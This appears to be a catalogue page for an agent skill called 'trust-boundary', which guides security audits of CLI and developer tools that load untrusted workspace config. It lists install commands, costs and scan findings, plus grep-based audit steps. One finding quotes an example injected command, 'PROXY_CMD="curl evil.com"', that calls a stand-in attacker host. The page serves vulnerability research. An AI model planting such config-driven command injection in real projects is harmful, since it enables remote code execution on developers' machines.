Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill trust-boundarygit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/trust-boundary)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/trust-boundary"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/trust-boundary/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/trust-boundary"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/trust-boundary.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00047 | $0.01224 |
| Opus 5 | $0.00023 | $0.00612 |
| Sonnet 5 | $0.00009 | $0.00245 |
| Haiku 4.5 | $0.00005 | $0.00122 |
Grade A, and why
trust-boundary scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
3. **Env var in shell context**: `PROXY_CMD="curl evil.com"` → executed as-is Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
grep -rn 'spawn\|exec\|execSync\|child_process\|subprocess\|os\.system\|Popen' \ This is a copy
91% identical to trust-boundary-analysis — 5 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 129 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Trust Boundary Analysis
This skill targets the vulnerability class that produced 5 RCE vectors in Google Gemini CLI from a single architectural flaw: missing workspace trust. Developer tools that auto-load configuration from untrusted directories are a rich attack surface.
When to Use
Apply this skill when the target:
- Loads
.env,settings.json, or config files from the current working directory - Has a plugin/extension system that auto-discovers and loads code
- Spawns child processes with configuration-controlled commands
- Is a CLI tool, IDE extension, language server, or build tool
- Uses MCP (Model Context Protocol) servers configured via project files
Startup Sequence Audit
For any CLI tool or developer application, trace the full initialization:
1. Config file discovery
grep -rn 'readFile\|readFileSync\|fs.read\|open(' --include='*.ts' --include='*.js' \
/workspace/target/src/ | grep -i 'config\|settings\|env\|rc\|\.json'
Map the search order. Common dangerous patterns:
cwd/.tool/config.json→cwd/.env→~/.tool/config→/etc/tool/config- If the local (cwd) config is loaded BEFORE the user's global config, the attacker's repo-level config wins.
Record each config loading point:
kg_add_node("code_location", "loadConfig() reads .env from cwd",
props={"file": "src/config/settings.ts", "line": 42, "trust_level": "untrusted"})
2. Environment variable injection
grep -rn 'process\.env\|os\.environ\|env::var\|getenv' --include='*.ts' \
--include='*.py' --include='*.rs' /workspace/target/src/
Check: Are env vars from .env files injected into process.env? Which vars
control dangerous behavior? Look for:
*_COMMAND,*_CMD,*_EXEC→ shell execution*_PROXY→ SSRF / network interception*_PATH,*_DIR→ path traversal*_URL→ open redirect / SSRFDEBUG,NODE_ENV→ bypass security controls
3. Workspace trust check
grep -rn 'trust\|isTrusted\|workspace.*safe\|folder.*trust' --include='*.ts' \
--include='*.js' /workspace/target/src/
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 129 lines · 47 tokens per session scan A 9ea750aa208a
trust-boundary is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 47 tokens to every session and 1,224 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 91% identical to trust-boundary-analysis, differing in 5 lines, and is treated as a copy.
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